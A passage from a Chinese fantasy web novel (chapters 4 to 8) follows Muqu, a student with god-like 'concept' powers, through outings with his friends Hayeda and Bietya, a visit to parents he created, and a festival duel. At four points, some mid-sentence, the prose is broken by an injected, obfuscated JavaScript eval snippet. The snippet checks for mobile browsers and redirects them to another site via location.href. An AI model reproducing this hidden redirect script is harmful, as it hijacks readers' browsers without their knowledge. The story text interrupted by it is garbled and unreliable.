概括一下,就是这个甜点是与我想要成为朋友的人送的。 这要从二十分钟前,也就是我刚从哈耶达面前离开时说起。 4. 第 4 章 我启用了【幸运】。 然后我在随着人流前进的过程中遇到了抢包贼,我顺理成章地来了个制裁,又顺理成章地把包还给了失主。 再然后我获得了失主赠送的芝士泡泡酒两人份。 我一下子完成了购买任务的一半。 我大为震撼。 接着我端着泡泡酒随着人流往前走,很恰好地被人流推进了太阳汤面馆。 厨师歉意地告诉我只剩下一份。 没错,我才知道太阳汤面居然是限量售卖。 当我开始质疑【幸运】概念的正确性时,有人拍了一下我的肩膀。 对方还穿着和我同款的校服,朝我嘘了一声,轻轻眨眨眼。 我认识他——单方面的,在新生危险性榜单上。 他整个人的色调像水彩画一样清淡,棕色的发丝妥帖地梳理在耳边。 他的眼睛和哈耶达的一样是蓝色,但如果说哈耶达的眼睛如同深邃的海洋,那么他的眼睛就如同一望无际的晴空。 他们两人有着截然不同的气质,但一致的是,他们同样的出色。 榜单上排名第五的别特亚现在正站在我面前。 我读过其他人对于他的评价:如果说榜单上前十位的位次是由实力决定,那么别特亚能够排在第三位,但偏偏他是温和有礼的性格。 “我这里还有一份汤面和一份甜品。”他小声告诉我,这时他很轻地微笑了一下,“看起来你有点着急,不介意地话,这作为初次见面的礼物如何?” 我当然不介意,但我想知道为什么。 棕发的少年人说:“我感觉和你一见如故。” # “就因为他对你说一见如故。”哈耶达听完了我的叙述,不满地哼了一声,“你就被一份汤面和甜点骗走了。” 话不能这么说,毕竟他承认了我,他很有眼光。 “没有人能把我骗走。”我纠正了他的说法,“而且是你吃了那份甜品。” 哈耶达决定选择性的跳过这个话题,“别特亚,我认识他——如果说你是这个学校的新生第一,老师眼里的刺头,那么他就是典型的乖学生代表、公认的学生管理员——给老师打报告、管理违规学生等事都是他在管。” 他说这话时的语气不太好。 “你讨厌他?”我问。 “问这个干嘛?”他看看我,“这很重要?” 当然很重要。 别特亚是一个很优秀的人,我觉得他应该也能成为一个很好的朋友。我有交友的心思,但哈耶达对我来讲更重要。 “他抓过我两次,一次是睡过头迟到,一次是猫猫竞走……”哈耶达只是这样随便问了一句,并没有放在心上。他掰着手指数了数,转头咬牙切齿地向我看来,“对,这里还有你的一份:明明头猫是你领着在走,而我只负责控制后面的猫咪,两个人的违规,为什么你能顺利逃脱?” 因为我用了【反视野】的概念,但这事肯定不能这么说。 我果断地一摊手:“我人善心美。” 言下之意就是人品问题。 哈耶达气急败坏地要就这个问题和我理论一番。 我一边阻止他一边看了看表。 现在是下午六点。 还有很长时间。 “我还想去青易镇看灯火。”我向他眨眨眼。 他瞬间明白我的意思了。 “你是没看过地图吗?!”他太阳穴处的青筋跳动了一下,“这里到青易镇有多远你是不知道吗?” “所以我打算走空路。”我在说话的一瞬间拉住哈耶尔。 [您已启用【飞行】【保护】的概念。] 我们腾空而起。 几秒间我们穿过云层,在云海上穿行。 “我要揍你!”哈耶达被我吓得不轻,“穆曲!我要揍你!!!” 他这副样子太像虚张声势了。 我笑了起来:“如果你可以。” 这副样子很任性,但我觉得我在游戏里当然有任性的资格。 现在我们脚下是连绵不断的云海,在广阔的天空中我们如同沙砾一般渺小。 但当我踩在天空上,俯视着一切时,我又会感觉我的心被充满了。 我在天空上飞着,就像是站在云上。 “无论来过多少次……”我大声说,“我都喜欢这个地方!” 没错,从第一次试验我可以飞上天空后,我就偷偷摸摸地一个人飞上了好几次的天空。 哈耶尔注视着脚下的云海,默不作声地点了点头。 虽然他已经为自己所看到的一切心潮澎湃,但他还勉强保持着不在天空上大喊大叫的体面。 但其实他大喊大叫我也不会嘲笑他,因为我第一次就是这样。 我们下降了一些,向青易镇的位置行进,微缩的山脉和房屋从我们脚下掠过,渐渐地我们看见了高塔。 现在刚到秋季,现在天色只是微暗,所以高塔上的灯光还未点亮。 “因为不到冬季,”我刚想到这里,哈耶达就说,“今天的灯火会比较少,吉日里这里是最好看的。” “但现在也很美啊。”我感叹了一句。 “我的家乡也很美。”哈耶达说,“那里有漫山遍野的常年青绿的灌木,有蓝宝石似的湖泊……到了吉日,湖面是漂浮的灯火。那才是真正的漂亮!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176511|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他说的是中西大陆,但那里离学院很远。 哈耶达就着我【飞行】的概念在半空中坐下了。 他望着远方,看着太阳的融化。 我突然感觉我有点想家。 当太阳一点点地沉没到地平线下,突然他开口:“灯亮了。” 我若有所感地向高塔看去。 万千灯火一瞬间拔地而起,仿若点燃了整座高塔,由下到上地亮起,最后点亮了整个城镇。 红色的火光从上空看去,像是碎钻点缀在深绿的幕布上一样,静谧而华美。 接着有火光开始上升,一朵接上一朵的,并不是多么鲜艳的色彩,都是比较深沉的颜色,只是在绽开的末端衔着一些亮白。 亮得晃眼。 我们在天空中从站到坐,直到灯火的熄灭。 最后一朵灯火熄灭时,他说话了。 “你现在在想什么?”哈耶达笑着问,“在想明天的作业,还是让你不愉快的塔特尔毒蛇先生?” 我没有回答,只是扯住他,继续启用【飞行】的概念。 “现在我们该散伙了。”我说,“你去哪儿?回学校?” 哈耶达就着这个被我扯住的姿势看了一下时间:“现在才八点。” 言下之意就是不要这么早回去。 于是我二话不说给他放到了他常去的购物中心,刚要转身离开,就被叫住了。 “你要去哪儿?”哈耶达问,“去酒吧?” 他可算是暴露真面目了,我原本没想过他会是喜欢去酒吧的人。 但我现在没心思调侃他, “我想回家看一眼。” # 哈耶达这几天和我聊天中时不时地插入了自己故乡的事情,让我也有点意动。 我从来就不是忍耐的人,而且我在游戏里也有做到近乎所有事的能力。 再次启用【飞行】,飞速向远处而去。 我的家很近,启用【飞行】二十分钟就可以到达。 但哈耶达的家很远。 我觉得他也有点想家了。 只不过以现在的形势他无法回去。 西北大陆现在正处于内乱,虽然不是康塔尔特众议国,但其也牵扯其中。 这时候让哈耶达进入任何势力都一致保护的阿尔斯安联合学院,应该就是出于保护他的目的。 我想这一点哈耶达也清楚。 清楚是一回事,而思念又是另一回事。 我感觉他有点孤单。 [您真是心软。]告示栏发了一个微笑的表情符号,[好了,您已启用了【创造】] 我用【创造】提前为他编了一个美梦。 5. 第 5 章 我从空中落下,面前是红瓦屋顶的独栋平房。 我推开门。 清新的皂香和高鹗花的香气迎面而来,接着是惊喜的呼唤声。 “穆曲?” 我深吸了一口气,一边向屋里走去,一边大声回应。 “我回来了!” # 面前披着淡紫色披肩的女子欣喜地接过我手里的花束,热情地招呼着我。 “要吃酸梅馅饼吗?或者是香豆烧白鱼……” “别惯他。”她身后有人笑着出声。 ‘父亲’放下手里的报纸,向我伸开双臂。 我与他拥抱了一下,这时我闻见清淡的烟味。烟味和屋里的皂香混在一起,并不算难闻。 ‘父亲’有着一张清俊舒朗的面容,神态温和而放松,此时正弯着眉角地看向我。 这是我记忆中‘父亲’所拥有的模样。 “看起来你生活的不错。”他拍了拍我的头,爽朗地笑了起来。 “学校如何?有不适应吗?”他像是真正的父母那样询问我的学业和生活。 “没有什么难得倒我。”我说,“我入学时已经是年级的第一了,而我又会把这个名次一直保持着。” “你说的听起来你会成为阿尔斯安联合学院建校历史上的优秀学生,”‘父亲’戳了戳我的脑袋,“你说不定会成为了不起的大人物——比如……” 他想了想,却不知道拿什么词接下去,因为我已经是‘神’的概念了。 “没有比如。”我说,“我很厉害,然后我会被所有人夸赞……” 我的确是这样想的,我想要成为‘英雄’、‘榜样’、‘太阳’或者其他的什么被别人敬仰的存在……即使仅仅是一个贴上的标签。 ‘母亲’因为我的说法忍俊不禁。 我环视四周,他们都在笑着。 他们从我回家后都没有停止过发笑,似乎我回家这件事让他们感到由衷的快乐。 这是当然的,毕竟他们是由我创造的。 我在一个月前刚到这里时,刚刚开始了解[神能支配所有概念]的规则,以及我所拥有的概念。 概念分别分为破旧型、启明型,两大类型分别包含了不同的主概念,而主概念又向下延伸,从而延伸出不同作用的衍生概念。 每个概念的作用都是一种能力的表现。 【视野】能让我看到世界上的每一处——从角落的青苔到飞跃高山的灰雁。 【覆写】能让我改变物性——把石头变成黄金,又让黄金变为尘埃。 【控制】能让我支配万物——让飞鸟衔来嫩叶,让群鱼竞相踊跃。 【先知】能让我看见世界的发展——花的生长与凋零,生命的诞生到死亡。 …… 我渐渐有了我在这个世界是无所不能的意识,紧接着当我开始了解最后一种概念时,一个我近乎不敢想象的想法从脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176512|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海的角落冲出来。 我开始颤栗。 告示栏感觉不太对劲:[你在想些什么?] “规则说[神能拥有这世上的一切],”我说,“那么包括我所创造的吗?” 告示栏承认了。 于是我启用了【创造】的概念。 那是我第一次创造。 【创造】的使用很像是形象的设定,而当我想要创造出‘父母’时,我开始想起过去。 女人尖利的骂声、女人筋疲力尽的哭泣……淡紫色的长裙以及不屑的、高傲的笑,棕褐的发以及崩溃而怨恨的哭。 家中充斥着的常年不散的烟味、男人落下的拳头以及散落的书报…… 在回忆的最后,我感受到了火车上冰凉座椅的触感。 我开始了【创造】。 我设定‘母亲’温和而美丽,精神稳定而友善,能做一手美味的饭菜,有着一头顺滑的棕褐发,常穿着米色的长裙以及紫色披肩;‘父亲’俊朗而有担当,知识渊博而性情正直,喜欢看报,不会动辄地打骂,也不会不停地抽烟。 最后,我设定他们会永远爱我。 他们会珍视我,如同我是他们的珍宝。他们注视着我,就像我是他们的唯一。 当设定成立,设定开始充满血肉,拥有面孔,转动眼珠。 而当双脚开始走动,眼珠转向我的方向。 于是我在这个世界的‘父母’站起来,带我回家。 6. 第 6 章 等我回到学院已经很晚了,正好卡着宿禁的最后几分钟。 但哈耶达还没有回来。 他应该是在外面玩得太欢了。 刚想到这里,我就听见窗户发出了轻微的动静,像是有人在撬窗。 我:? 我启用了【控制】的概念。 下一秒,哈耶达从灰头土脸地从窗户探出了头,他看到我,“嘿”地一声笑了。 “我忘记了看时间。”他拍了拍身上的灰尘,“不过也不算太晚。” “大门已经锁了,”我说,“你是翻墙进来的。” 他干脆地承认了。 “下次我带你去那边。”他向我眨眨眼,“那里是出门的好地方。” 我笑了起来。 哈耶达不是老实的人,但对我来说这刚刚好。 他之后的确带我去翻墙了。 但翻墙的不只我们,还有另一个我们意想不到的人。 “所以你为什么会在这里?!”哈耶达对着另一个人咬牙切齿。 被我们注视着的人无奈地笑着,向我摊了摊手。 是别特亚。 我也没有想到他会在这里。 “这里是一个翻墙宝地。”他开玩笑般回答,“在学生中还是比较有名的——我经常能在这里抓到偷偷溜出学院喝泡泡酒的学生。” 他说的好像下一秒就可以把我们的学分扣完。 但他现在半跨在墙上,神态没有一点的尴尬或不自在。 别特亚现在是一副明显的‘监守自盗’模样,甚至手上还拎着一兜的刺球果饼干。 我已经闻见饼干的奶油香了。 “喂。”哈耶达果然被他这种说法刺激到了,脸色黑的仿佛下一秒就要扑上去。 别特亚从墙上翻下来,动作利落,即便是我也不得不要夸一句帅气。 “给,礼物。”他略过哈耶达,从袋子里取了一小包饼干给我。 他太自来熟了。 我伸手接过饼干,如同没有感受到哈耶达身上快要实质化的怒火。 其实我很有钱,即使没有,我只要启用概念就能轻而易举地获得金钱,买到我所想要的所有东西,或者干脆是创造出我所想要的东西。 但我有点儿想看哈耶达被气到的样子。 哈耶达狠狠拍了我后背一下。 ‘不准接!那曲!’他在我身后用气音喊。 他生气的样子果然很好玩。 “那么就这样。”别特亚在我们身上扫视了一圈,“别紧张,我不会把这次的违规行为报告给教师。” 这句话瞬间引燃了哈耶达的怒火。 他跳出来,指着面前的人大喊:“你不也违规了吗?!我们会把你外出的事情……” 他噎住了。 别特亚扭头看他,眯着眼笑了笑。 我觉得他的笑容里带着点嘲讽的意味,而这人也不像我想象中的温和守礼,反而可能是个黑心棉花。 我大概明白哈耶达是怎么想的了。 别特亚可是老师眼中的乖孩子、最最称心的学生,而我们是老师眼里的刺头。 我们两方在老师眼里的信誉可以说是一个天上一个地下。 哈耶达恨恨地盯着别特亚走远,开始大声讨伐我。 我没有想到,这变成了一个开始。 接下来的一个月里,别特亚和我们交集变得频繁:从正常的路上相遇到课堂小组,再然后可以说是天天见面。 哈耶达和别特亚之间的矛盾也越来越激烈。 虽说是矛盾变得激烈,但实际上只是从“你真是安萨斯达”和类似于“我告老师”之类的回合变成了冷战。 其实我更认为这是哈耶达单方面的矛盾,无非就是曾被对方毫不留情地下了面子,所以拉不下脸与对方好好相处,而别特亚和哈耶达的不对头更多是出于好玩或者是被哈耶达的挑衅激起了性子。 他们之间的矛盾并不大,这种剑拔弩张情况的改善有时候只是需要一个缓和的台阶。 这个台阶很快地就送上前来了。 “你对狂欢生息节有什么看法?”我在一天课后问哈耶达。 “欢乐的节日,开玩笑的节日。”哈耶达很快回应,这时他发现我嘴角扬起,保持着一个愉悦的弧度。 笑容向来是有感染力的。 他莫名其妙地也开始发笑。 “明天是狂欢生息节。”哈耶达想到,紧接着他一愣,嘴角的笑容开始消减。 众所周知,阿尔斯安联合学院有两个惯例,一是夜游,二是狂欢生息节的自设派对。 我还没有体验过第二个,因此我对这个节日十分期待。 我幻想满是美食的长桌,以及欢乐中放声高歌或是跳舞游戏的众人。 “但不太可能,”哈耶达在我这样想时泼了冷水,“学院历来的狂欢生息节的派对都是学术竞答,知道吗——这意味着我们要提前准备题目,要不然就等着丢脸。” 他在说到最后一句时面色变得发白。 在我和哈耶达的相处过程中,我知道他有着在正常范畴内的自傲,这也就是他在刚开始会对我不满的原因。 哈耶达不会放任自己毫无准备。 但我知道他还没复习,甚至说是一点都没有。 但不管哈耶达准备与否,我们迎来了第二天的晚上。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176513|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这天一大早就看见学校大厅里布置着的装饰,五彩缤纷的小饰物把原本肃穆的建筑点缀地活泼了起来。 穿深棕色外套的院长出现在大厅的中央,开始宣布狂欢生息节的庆祝方式。 哈耶达手中的书随着院长的话开始滑落,最后被我眼疾手快地接住。 “我……不可能啊。”他不可思议地说。 院长说了很长的规则,我简要叙述一下,就是今年狂欢生息节的庆祝方式变化为每阶抽签PK,并且美其名曰有利于学生身心健康和提升个人能力的活动。 我觉得这更接近于战斗表演或者战斗练习的模式。 我和哈耶达等待排队抽签时,哈耶达还在低声碎碎念:“之前六七年都没有变化,不可能啊。” 他在昨天晚上熬夜背书,就为了不失去自己处于前几的学术成绩。 他对于这个新的庆祝方式难以接受,因为他觉得他的熬夜苦读白费了。 很惨,但我绝对不会说我昨晚启用了【奇想】的概念,在梦里背了一宿的知识。 我们没啥两样,这就是信息差带来的悲剧。 “难道你在练习中会表现的很差吗?”我安慰他,“有什么可担心的。” 实话讲,虽然哈耶达斗殴、翻墙、逃课样样不落,但他仍然是一个天才,这就是他能够入学阿尔斯安联合学院的原因。 这句话很有效,哈耶达明显地被安慰到了。 “你说的没错。”他拍拍我的肩膀,向我表示赞同,“那么你就看着我打趴所有人吧。” 抽签的队伍很有序,因此我们排的很快,不一会儿就拿到了各自的签子。 我是九号,而哈耶达是十六号。 哈耶达在看过签子后明显地松了一口气。 我倒是有一种不太好的预感。 因为号排在哈耶达前面,当我三下两除二地干倒了场上的剩余人,在欢呼中走下台时,我看见了另一个台上将将要开始的战斗练习。 另一个练习台离这里有一段距离,上面的身影隐隐约约地不太清楚。 我知道哈耶达就在那边,在一种莫名的好奇心的驱使下,我启用了【视野】,紧接着,我终于看清了对面台上的人影。 背对着我的方向的黑色卷发就是哈耶达,摆出了一个防御的姿势。 练习台上有十人,但其他的几个人呈现出包围的态势,把哈耶达和另一个人半围来。 这个情况有点怪。 我把视线往另一个人身上挪去,仔细一看,蓝眼睛棕色发。 是别特亚。 我:? 我:!!! 我终于知道我不好的预感体现在哪儿了。 7. 第 7 章 我怎么都没想到哈耶达和别特亚会分在一组,这个概率太小了,但事实就是这样。 他们不会把练习变成生死斗吗? 我想了想,往练习台的方向走去。 很多刚练习完的新生和二阶三阶的学长学姐们围在那个方向,把练习台围得水泄不通。 当往那边走时,我听见很多人的议论声。 “这场练习里有哈耶达和别特亚!”有人对朋友说,“听说他们很厉害,知道吗?他们都是天才。” 我听见他们在夸赞我的朋友,我有点开心,除此之外,我意识到我的朋友同样是学院内的名人。 他们的知名度吸引了很多人的目光,因此很多人都注意他们的战斗练习,就算这只是一个节日的活动。 “穆曲?他的练习刚刚结束。”我突然听见我的名字,“对,没错。他的练习结束的太快了,他的实力真的好强。” 我向说话的方向扭头,对上了两个女孩子的视线。 她们明显的没有想到能和话中的正主碰上面,甚至还被逮了个正着,脸瞬间红了起来。 我朝她们轻快地眨眨眼。 她们的脸红得更厉害了。 我知道我在阿尔斯安联合学院里有崇拜者,但单纯听说和亲耳听到的感受是不一样的。 哈哈,这种感觉真的很棒。 我刚跑神了一会儿,就被周围人的骤然放大的讨论声拉了回来。 我向场上看去,这时的场景很微妙,哈耶达和别特亚被其他人包围在中央,但他们两人却又隔着不远不近的距离。 哈耶达和别特亚被场上的人针对了。 这是当然的,因为在之前的测试和开学测验中,他们是这群学生中的佼佼者。实力强,名气大,自然成为了先被集火的目标。 但相较于他们面对的形势,我更关注另一点,比如哈耶达会不会热血上头,先和别特亚来一架。 我觉得这很有可能。 我就算启用了【视野】,但受与练习台隔着一定的距离的限制,【视野】呈现的图像画质模糊,看的不怎么清楚。 思索了一下,我启用了从没有练习过的另一个概念——【倾听】。 在【倾听】打开的一刻,我差点以为自己一瞬间耳膜穿孔。 为了听见练习台上的声响,【倾听】放大了附近所有的声音,人群的说话声充满了我的脑袋,声波险些把我的脑袋震碎。 这种感觉很痛苦,甚至我无法再忍受一瞬这样的感觉。 我迅速地关掉了【倾听】,我觉得我再也不会启用它了。 这时人群中又响起了一阵抽气声,我连忙往台上看去。 ### “安萨斯达的。”哈耶达骂了句脏话,反手一个【控制】,把向自己袭来的人往外围掀,但另外几个人又从背后向他扑过来,他不得不打起精神应付下一轮攻击。 几乎所有人都在向他的方向招呼。 哈耶达感到不爽,但完全没有办法。 唯一一个没有向他的方向招呼的是别特亚,他正站在离哈耶达不远的地方。 这里要说明一下,别特亚没有在攻击耶达的原因是他也在被他人围攻。 现在场上的状态相当于是两个包围圈,他和别特亚都自顾不暇。 哈耶达一只手挡住对面的攻击,启用了【视野】。 【视野】使他可视的角度增多,范围扩大,更有利于察觉他人的行为。 这很管用,起码哈耶达应对的更自如了。 “咳咳。”裁判在人们的议论中出了声,“哈耶达同学启用了【视野】,这是一阶学生刚刚学习的,而今天他就在场上熟练地使用了。不愧是哈耶达同学。” 裁判说话时使用了【加强】,因此他的话的音量被放大了,哈耶达即使在场内也听得一清二楚。 同理的,场上的其他人也听见了。 哈耶达暗道不妙。 果不其然,向哈耶达围过来的人互相对视着,攻势更猛烈了。 概念的长时间使用是会过度消耗精力的,在十分钟,因为过度使用【视野】,他的太阳穴开始闷痛,眼前昏黑。 【视野】仍然启动着,尽职尽责地把所有搜集到的信息输送给使用者。 当哈耶达回过神时,他的余光扫到了台下的一处,不由地怔了一下。 台下有一个深褐发的人向他看来。 哈耶达知道那是穆曲。 他的练习已经打完了? 这是他的第一个想法,紧接着他很快地想到了:穆曲只比自己的练习开场早一点,在这么短的时间内,这怎么可能? 但的确是真的。 哈耶达感觉自己被这个结果刺激到了。 这时对面的人揪住他跑神的时间,向他的方向攻击过来,哈耶达回过神,却避无可避。 他咬咬牙,在关键时刻往旁边偏了偏,使拳头落在自己的肩膀上。 对方用力很大,因此也蛮疼,但他没有失去打斗资格。 哈耶达反过身,加大了【控制】的使用力度,忍着头部的胀痛把对方掀翻在地,扭头向另一个方向大喊。 “喂!” 棕色发的人在包围中抽空向他的方向看了一眼。 “怎么了?!”别特亚没好气地往他的方向大声说。 哈耶达从挡在旁边的人身边溜过去,往别特亚的方向去,边跑边喊。 “合作吗?!” “什么?” “合作!”哈耶达铿锵有力地回复,“干翻他们!打完他们我们再一对一决斗,难道你想被人海战术拖死?” “……”别特亚嘲讽着笑了笑。 这个笑容让哈耶达觉得很不好,他的拳头又在跃跃欲试,但他忍了下来。 “当然。”别特亚说,“你别拖后腿。” “嘁,你才是。” 两人在拌嘴的同时往对方的方向靠近,越靠越近,最终背靠背挨在一起。 ### 【视野】中呈现的画面还是有点糊。 我尽力地找到我朋友的位置,但稍微一移动,【视野】中的画面又不知道跑到哪里了。 可能是【视野】范围扩的太大的原因。 我回想之前夜游时【视野】的使用,捣鼓了好久,终于把【视野】调了回去,但在调回去的那一刻,裁判宣布战斗练习结束。 我感觉我什么都没有看到,但一切都已经结束了。 “恭喜啊。”当哈耶达从场上走下来时,我向他眨眨眼,“果然你会赢。” “差不多吧。”哈耶达回复,但我发现他这时候并不像我想像中的愉快,反而脸色很臭。 “喂。”我笑着调侃他,“怎么了你,表情臭成这样?赢了难道不高兴吗?” “我和别特亚在同一个场上。”哈耶达告诉我。 “然后呢?” 他的脸色更臭了。 “我们干翻了其他人,最终一对一平局。”哈耶达憋了一肚子气,“安萨斯达!本来说好要先清场再打,他背刺我。” 但他能够平局就证明他没有掉坑。 “所以你呢?”我敏锐地问。 “……”他莫名地沉默了。 我刚开始还在疑惑,接着我明白了什么,一拍大腿,笑了起来。 “哈哈哈哈不会吧,你们两个互相阴人,还都没阴住哈哈哈哈这什么事啊。” 这件事太离谱了! 哈耶达的表情在我放肆的笑声中逐渐僵硬,最后他扑上来捂住我的嘴。 “穆曲!给我闭嘴啊啊啊啊!” 总之在这件事后,哈耶达虽然仍然没有什么好脸色,但好像对别特亚没有那么排斥了。 我觉得是几分钟的被共同围殴的患难情改变了他。 哈耶达觉得我说的是狗p。 我认为这件事只能算是我们之间关系的润.滑剂,但最后影响了我们之间关系的不是这件事。 我知道哈耶达有一天晚上鬼鬼祟祟地出了门,第二天就遇见别特亚时的反应就变得温和了。 一定有猫腻。 我认为他们有共同的秘密没有告诉我,这会让我有被排斥的感觉。 最终我打算问清楚。 在一次吃饭时别特亚在我们身旁落座,哈耶达皱了皱眉,却少见地没有阴阳怪气地呛声。 “所以你们发生了什么?”我很直接 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我感觉他对别特亚的根源概念有着强烈的期盼。 “所以明天晚上的餐后零食是妙妙香香脆吗?我已经很久没有吃到这个了。” “如果你启用【先知】需要花费很多体力,”他盯着别特亚,“我会把你抬回去。” 我瞬间明白了。 “好吧,”别特亚闭上眼睛,几秒后睁开,这时他的脸色变得苍白,“明天的确有妙妙香香脆。” 启用【先知】好像很敷衍的样子。 但我们明天的确吃到了妙妙香香脆。 # 在妙妙香香脆事件后,别特亚正式加入我们的好友联盟。 虽然哈耶达接受了别特亚,但他们之间的气氛时不时地会尴尬起来。 现在好友联盟里有三个人。 “会有四个人。”别特亚微笑着说。 我这才想起来之前他给我们说过的话——我们四个。 哈耶达被这句话冲击到了,他半张着嘴,有些呆滞地看向我们。 “你没有见过那个人。”我点明了这一点。 “准确的说是我认真找过,但我从来没有遇见过他,”别特亚表情无奈地摊了摊手,“你应该听过这个名字——法尔拉特。” “我知道,他和至理学会有关系。”哈耶尔从呆滞中回过神,对我们说。 我们看向他。 哈耶达的确有着广泛的消息渠道。 “至理学会持有奥维莱斯罗盘,这是众所周知的。现任罗盘使用者,也就是十二代观测人为尼斯,”他看了看别特亚,“法尔拉特是十二代观测人的义孙。” “但这说法并不可靠,只是小道消息。”他停了下来。 我们不明所以地盯哈耶达看。 “别这样看我!”哈耶达被我们的眼神惹火了,“这谁都知道——自开学就只有几个人见过他一两面,这个人经常不见踪影。对于他的说法很多,但都没什么价值。” 听起来是一个神秘人物。 我坐直了身体。 哈耶达惊讶地发现对面人的眼睛开始闪闪发亮。 在他的印象里,那曲不是太会对其他人的消息感兴趣的,他更专注于自己的事情,并热衷于取得他人的称赞。 他突然有点不愉。 “我还不知道他是什么样的人……”他说,“如果是像别特亚这样的讨厌鬼,我会把他踢出去。” 别特亚微笑着锤了他一拳。 我觉得他们之间的关系并不像他们自己说的那么糟,甚至是很好的。 “不过我认同,”别特亚说,“不能完全相信预言,即使它从未出错过。毕竟是我们来使用预言,而非预言支配我们。” 他好像说出了一句很深奥的话。 “就像在兰撒大道上时,我的确对你一见如故。”他举了个例子,“那是我自己的选择。” 我看着他们,而他们注视着我。 我在他们视线的中心。 “那么就这样,”我说,“管什么预言呢。如果是真的,我们总会见面。” 8. 第 8 章 一个月后,月度考试结束了。 月度考试后是一个小假,有两天的外出时间。 “你们看起来考的不错。”我看了看容光焕发的两人说。 哈耶达点了点头,视线从我们身上扫过去,“别提考试了,今明两天你们有安排吗?我打算去贝西纳山,每年的这个时间去能看见成片的金红色阿吉栗树林。” 我很感兴趣。 别特亚也打算去,但在此之前,他们一致地决定要出去购买一些东西,而我想在去贝西纳湖前,再去趟兰撒大道。我们目的地不同,只得兵分两路。 因为是统一的外出时间,门口熙熙攘攘地挤满了人。 他俩已经走远了。 我瞅了一圈,果断决定翻墙出门。 墙头上有只猫。 我扒拉上墙头,把原本站在墙头的猫抱起来,占据了它原本窝的地方。我摸了一把向我呲牙的猫,把它炸开的毛顺了顺。 它抖了一下,想从我手里窜走。 我:嘿。 [您启用了【控制】的概念。] [您启用了【共通】的概念。] 这是我第一次启用【共通】。 着这个概念启用的一瞬间,我看见了自己。 ‘我’正仰着头,瞪视着面前深褐色发的青年。 ‘我’凑近过去,狠狠地抓了面前的人一把。 我被猫狠狠地挠了一下。 我看了看手臂,因为‘神’的概念的特殊性,上面一条白印都没有。我笑了起来,敲了猫一个脑袋蹦。 ‘我’的脑袋被崩了一下。 这种感觉很奇特,像是我的一部分成为了猫,我和猫对视。 于是我和‘我’对视。 我突然对成为一只猫有了好奇。我把猫放下来,让它轻巧地跳下墙头。 于是‘我’跳下了墙头。 ‘我’在树上攀爬,在红漆快要褪尽的屋檐上奔跑,又在几个跳跃间落回地面,踏在轻软的土地上。 ‘我’晃了晃耳朵,向天空看去。 远处仿佛有雨滴凝结的细微声响,然后干燥的空气中突兀地掺进了一丝水汽。 “啪。” 有雨落在‘我’的鼻尖上。 # 我启用了【阻隔】的概念。 雨丝被无形的屏障阻挡在我的头顶,仿佛无形的伞。 我仍旧坐在墙头上,看着猫跑走的方向。 ‘我’在那里,皮毛湿透,自由自在。 我想了想,停止了【阻隔】的概念。 “啪。” 雨落在我的鼻尖上。 # 以猫咪的视角看待雨、感受雨是一种全新的体验。 刚开始很有趣,但再然后变成了疲惫。 正如刚开始的雨淅淅沥沥点在鼻尖,再然后冰冷的雨水淋湿了毛发,一切变得湿哒哒、冷冰冰。 猫和我不一样,虽然我控制着它,我用着它的身体来感受世界,但它无法使用【阻隔】,因此在雨淋湿皮毛后,浑身冷的像是一块冰。 我讨厌这种感觉。 我控制着猫穿过小巷,原本希望能见到避雨的地方,比如温暖的房屋,或是车站的挡雨处。 但没有。 什么都没有。 小巷走到尽头是开阔的街道,户户门窗紧闭。这时雨打在窗户上,不断地发出声响来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176515|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雨下得越来越大。前面一滴雨接着后面的一滴,正好衔在前面一滴的尾巴上,仿佛丝线般织成雨幕。 街头很空旷。 ‘我’在空旷的街头奔跑着,偶尔为了挡雨从屋檐下窜过去。 ‘我’湿着皮毛,不停的在雨中穿行。 ‘我’感到疲倦,感到寒冷,感到无精打采。 原本我以为猫的生活会是充满了愉快和趣味,而不是像现在这样孤孤单单、凄凄惨惨。 的确很自由,有一种从内而外的放松。 但也的确是不适的、冰冷的。 然后这冰冷很突然地被温暖代替了。 有一双手捧着‘我’,将我抱了起来。 